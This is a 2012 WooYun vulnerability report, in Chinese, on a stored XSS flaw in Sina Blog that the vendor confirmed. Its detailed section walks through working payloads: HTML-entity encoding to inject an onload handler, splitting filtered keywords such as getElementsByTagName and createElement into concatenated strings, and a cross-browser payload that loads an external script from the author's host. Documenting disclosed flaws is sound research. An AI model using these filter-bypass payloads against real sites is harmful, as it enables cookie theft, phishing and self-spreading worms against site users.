当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07921

漏洞标题:新浪博客储存型XSS漏洞(访问就中招),可以加载任意外部js文件

相关厂商:新浪

漏洞作者: px1624

提交时间:2012-06-06 09:36

修复时间:2012-07-21 09:37

公开时间:2012-07-21 09:37

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-06: 细节已通知厂商并且等待厂商处理中
2012-06-06: 厂商已经确认,细节仅向厂商公开
2012-06-16: 细节向核心白帽子及相关领域专家公开
2012-06-26: 细节向普通白帽子公开
2012-07-06: 细节向实习白帽子公开
2012-07-21: 细节向公众公开

简要描述:

首先,看到好多人都有礼物收,还有的有收到SAE云豆的奖励。俺是看在眼里,嫉妒在心里啊!俺也想要,嘎嘎。
但是据说只有大公司才给送,就去SAE去找漏洞了,好不容易找到了一个储存型的XSS,
结果隔了一天竟然被修复了,想了下应该我找到的和前几天乌云上别人提交的那个SAE的XSS是同一个吧。
于是今天就转战去新浪折腾去了。
终于在新浪博客找到了一个储存型的XSS,并且成功的绕过限制后,可以插入任意外部js文件。
钓鱼啦,蠕虫啦,什么的都可以直接搞了。
最后,求礼物或者SAE云豆啊!有木有。

详细说明:

下面来和大家分析分享一下我寻找这个漏洞并且利用的的整个过程。
1. 看到好多乌云的储存型XSS帖子都是从图片,视频之类的搞起的,于是我就去新浪博客首页去发了个图试
了试。
抓包的原post代码
<A id=up_img_58081338895761039 href="http://album.sina.com.cn/pic/6f81831bhc1b7f66073a7&amp;690" target=_blank><IMG src="http://s8.sinaimg.cn/bmiddle/6f81831bhc1b7f66073a7"></A><BR><BR>966
2. 于是我像测试其他网站XSS漏洞一样给IMG标签中的src地址后面加了个'"></\,用来测试地址有没有过滤
特殊字符,像这样src="xxxx'"></\"
结果不出所料,果然是给过滤掉了 " 。
3. 之后我又想既然过滤掉了"那么&quot;有没有过滤呢?
于是将post地址修改成如下形式
src="xxxx&quot;onload=&quot;alert(1)&quot;"
提交之后刷新后弹出了1,说明执行了alert(1),当时蛮高兴的,因为说明这里是存在储存型的XSS的,没有
过滤onload和&quot;。
4. 然后的想法肯定是和大家一样了,插入外部js文件。
查看了首页的源文件后,发现script标签的第3个是src形式的,于是我在post数据中写了如下代码。
src="xxxx&quot;onload=&quot;document.getElementsByTagName('script')[2].src='http://px1624.sinaapp.com/pxrenren.js'&quot;"
结果竟然没有调用成功,图片不显示了。用F12看源码,也看不到任何和我post有关的数据。
5. 想了下,应该是新浪过滤了单引号吧,于是便把单引号全部替换为了&#39;
发现竟然还是不成功,一段时间的测试之后发现[]也被过滤了,于是我便把[]也替换成了&#x5B;和&#x5D;
便成了如下的post数据
src="xxxx&quot;onload=&quot;document.getElementsByTagName(&#39;script&#39;)&#x5B;2&#x5D;.src=&#39;http://px1624.sinaapp.com/pxrenren.js&#39;&quot;"
6. 但是还是不成功。不愧是新浪啊,限制因素真多,就算找到了xss点想插入外部js文件还是困难重重。
接着我想到,会不会是document或者getElementsByTagName等关键字被过滤了?
于是我试着alert(document.cookie)了一下,发现可以弹出,那就应该是过滤了getElementsByTagName了。
但是这里我们需要用getElementsByTagName来修改script中的src,怎么办呢?
7. 我试着用String.fromCharCode()把getElementsByTagName转换成ASCII码来绕过,结果还是不行。
最后我想到用字符串拆分的办法,把getElementsByTagName拆开写去绕过限制,如下方法
document.getElementsByTagName ------> document['get'+'ElementsByTagName']
post数据如下
src="xxxx&quot;onload=&quot;document&#x5B;&#39;get&#39;+&#39;ElementsByTagName&#39;&#x5D;(&#39;script&#39;)&#x5B;2&#x5D;.src=&#39;http://px1624.sinaapp.com/pxrenren.js&#39;&quot;"
结果如图


终于成功调用了外部js了。
8. 但是还没完,因为document.getElementsByTagName是IE-only的,如果用非IE浏览器的话,是不会中招的。
于是我需要写一个浏览器通杀的代码。
下面转向谷歌浏览器测试。
我想到了
var s=document.createElement("script");
s.src="JS地址";
document.body.appendChild(s);
9. 果然,新浪也过滤了createElement,appendChild等关键词,
绕过方法同上,把字符串拆开写。
代码如下
&quot;onload=&quot;var&#32;s=document&#x5B;&#39;creat&#39;+&#39;eElement&#39;&#x5D;(&#39;script&#39;);s.src=&#39;http://px1624.sinaapp.com/pxrenren.js&#39;;document.body&#x5B;&#39;appe&#39;+&#39;ndChild&#39;&#x5D;(s)&quot;
结果发现
var&#32;s= 提交后这里的空格&#32;自动变成了20%了。
于是想到了和空格差不多的tab,
var&#09;s= 结果提交后这里的&#09;也自动变成了%09;
10. 我擦,看来只有出绝招了,利用window的属性去通杀吧!
把上面代码中的var s和s都替换成window.s,post的代码变为了
&quot;onload=&quot;window.s=document&#x5B;&#39;creat&#39;+&#39;eElement&#39;&#x5D;(&#39;script&#39;);window.s.src=&#39;http://px1624.sinaapp.com/pxrenren.js&#39;;document.body&#x5B;&#39;appe&#39;+&#39;ndChild&#39;&#x5D;(window.s)&quot;
测试,终于ok了,所有浏览器通杀!
火狐和谷歌的效果如图



下面图是charles和网页F12中的代码截图。


上图中圈起来的部分,是post数据中自己插入的构造代码。


上图中显示成功的调用了我的外部js文件。
上次试人人网的时候直接
onlaod="document.getElementsByTagName('script')[2].src='http://px1624.sinaapp.com/pxrenren.js'"
就ok了,没想到新浪这里过滤和限制了这么多,果然安全性不是一个级别的哦。
忙活了蛮久的,终于还是成功了可以调用外部任意js了。
最后这里要感谢gainover在我突破限制的过程中对我的一些提示与帮助,谢谢大家的细心阅读,分析描述完毕!

漏洞证明:

见详细说明过程。

修复方案:

你懂的。

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-06-06 11:03

厂商回复:

感谢提供,马上处理。

最新状态:

暂无